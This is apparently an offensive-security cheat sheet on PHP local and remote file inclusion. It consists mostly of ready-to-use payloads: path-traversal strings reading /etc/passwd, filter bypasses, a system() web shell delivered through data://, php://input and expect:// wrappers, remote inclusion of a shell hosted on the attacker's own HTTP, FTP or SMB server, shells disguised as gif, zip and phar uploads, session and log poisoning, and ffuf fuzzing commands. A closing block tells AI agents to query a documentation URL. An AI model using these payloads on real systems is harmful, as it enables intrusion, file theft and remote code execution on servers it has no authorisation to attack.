# File Inclusion

The following table shows which functions may execute files and which only read file content:

<figure><img src="/files/57IuWPOLFno5Ty5JmUji" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Remember to look for which other pages we can use our LFI with using Fuzzing for codes other than 200 (even if we have access denied, we are "locally including" them so knowing they exist is what we care about)
{% endhint %}

## Local File Inclusion

### Basic LFI

<table><thead><tr><th width="577">Example</th><th></th></tr></thead><tbody><tr><td><code>/index.php?language=/etc/passwd</code></td><td>Basic LFI</td></tr><tr><td><code>/index.php?language=../../../../etc/passwd</code></td><td>LFI with path traversal</td></tr><tr><td><code>/index.php?language=/../../../etc/passwd</code></td><td>LFI with name prefix</td></tr><tr><td><code>/index.php?language=./languages/../../../../etc/passwd</code></td><td>LFI with approved path</td></tr></tbody></table>

### Bypasses

<table><thead><tr><th width="584"></th><th></th></tr></thead><tbody><tr><td> <code>/index.php?language=....//....//....//....//etc/passwd</code></td><td>Bypass basic path traversal filter</td></tr><tr><td><code>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64</code></td><td>Bypass filters with URL encoding</td></tr><tr><td> <code>/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]</code></td><td>Bypass appended extension with path truncation (obsolete)</td></tr><tr><td><code>/index.php?language=../../../../etc/passwd%00</code></td><td>Bypass appended extension with null byte (obsolete &#x3C; PHP 5.5)</td></tr><tr><td><code>/index.php?language=php://filter/read=convert.base64-encode/resource=config</code></td><td>Read PHP with base64 filter</td></tr></tbody></table>

## Remote Code Execution

#### **Data Wrapper**

**needs to be enabled** (`allow_url_include` enabled in the PHP settings file, use base64 or other ways to read the file. File position in Enumeration page)

`data://text/plain;base64,<base64-php-payload>&cmd=<COMMAND>`

payload generation example: `echo '<?php system($_GET["cmd"]); ?>' | base64`

Usage: `index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id`

#### Input Wrapper

Also depends on the same configuration being enabled as the data wrapper above

Example: `index.php?language=php://input&cmd=id`

Takes input from POST body

```shell-session
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' .../index.php?language=php://input&cmd=id
```

#### Expect Wrapper

Externally installed and needs to be enabled too

Different parameter in the same config file: `extension=expect`

Executes commands directly: `/index.php?language=expect://id`

### Remote File inclusion

<figure><img src="/files/IzBYisk90rNELeftxBBx" alt=""><figcaption></figcaption></figure>

Get config file as for RCE (section above, location in Enumeration page).

Verify the following parameter, must be ON: `allow_url_include`

Test with local URL: `http://127.0.0.1:80/index.php`

Generate a payload file, example payload: `echo '<?php system($_GET["cmd"]); ?>' > shell.php`

Host the above file, use common ports like `80` or `443`

Example: `sudo python3 -m http.server 80`

The send the request: `/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`

The above file/script can be hosted through FTP as well using: `sudo python -m pyftpdlib -p 21`

And then the request would become: `/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id`

#### In case of Windows Server host

To create a SMB server a useful python package is: `Impacket's smbserver.py`

Usage: `impacket-smbserver -smb2support share $(pwd)`

This will allow for anonymous login and reads

Example payload for this: `/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami`

### File uploads

Create **gif**: `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`

Create **zip**: `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`

To use the zip version you need to use the zip wrapper: `zip://shell.jpg` (to specify the zip file) and then specify the file to include using a **URL Encoded** #file.php. Result: `zip://./profile_images/shell.jpg%23shell.php&cmd=id`

Create Phar: Copy the following into a `shell.php` file

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

```

Compile it and rename it into a fake jpg file:&#x20;

```shell-session
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

Usage: `phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`

### File/Log poisoning

#### PHP Session Poinoning

By default, session cookies are saved in:

Linux: `/var/lib/php/sessions/`

Windows: `C:\Windows\Temp\`

If the value of `PHP_SESSID` cookies is `el4ukv0kqbvoirg7nkp4dncpk3` then it's saved in `/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3`

Using LFI we can check the contents and see if we have control over any session variable

For example, if a GET parameter is saved into the session file, it's possible to set the parameter to a URL Encoded shell `%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E` and then use the LFI again to execute it: `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`

#### Log Poisoning

**Nginx** logs are readable by low privileged users by default (e.g. `www-data`), while the **Apache** logs are only readable by users with high privileges (e.g. `root/adm` groups)

`access.log` keeps a log of the User-Agent header of every request, which we control.

By default, `Apache` logs are located in `/var/log/apache2/` on Linux and in `C:\xampp\apache\logs\` on Windows, while `Nginx` logs are located in `/var/log/nginx/` on Linux and in `C:\nginx\log\` on Windows.

Sometimes the log files are in different locations, it is suggested to use the [SecLists LFI wordlist](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) to Fuzz it if not found in the default locations.

{% hint style="info" %}
Tip: The `User-Agent` header is also shown on process files under the Linux `/proc/` directory. So, we can try including the `/proc/self/environ` or `/proc/self/fd/N` files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.
{% endhint %}

Examples of other possible logs to poison:

* `/var/log/sshd.log`
* `/var/log/mail`
* `/var/log/vsftpd.log`

## Automated Scanning / Fuzzing

All the following commands use [SecLists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) as wordlists

### Fuzz parameters

```sh
ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs xxx
```

Top 25 LFI paramters list ([Credits](https://book.hacktricks.xyz/pentesting-web/file-inclusion#top-25-parameters)):

```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```

### Fuzz Payload

Change the parameters to the ones found above

```bash
ffuf -w SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
```

### Finding the Web Root Directory

In some cases it might be useful to find where the web root is. For example to know how to find uploaded files. Fuzz using the following command (may need to adjust the amount of ../)

```
ffuf -w SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

### Server logs/configurations

In case the above way of finding the root doesn't work, we may need to find the config files to read it from there.

For this, other than the same wordlist as above ([LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)), we can also use specific ones for Linux and Windows:

* Linux: <https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux>
* Windows: <https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows>

```
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.rtlcopymemory.com/file-inclusion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
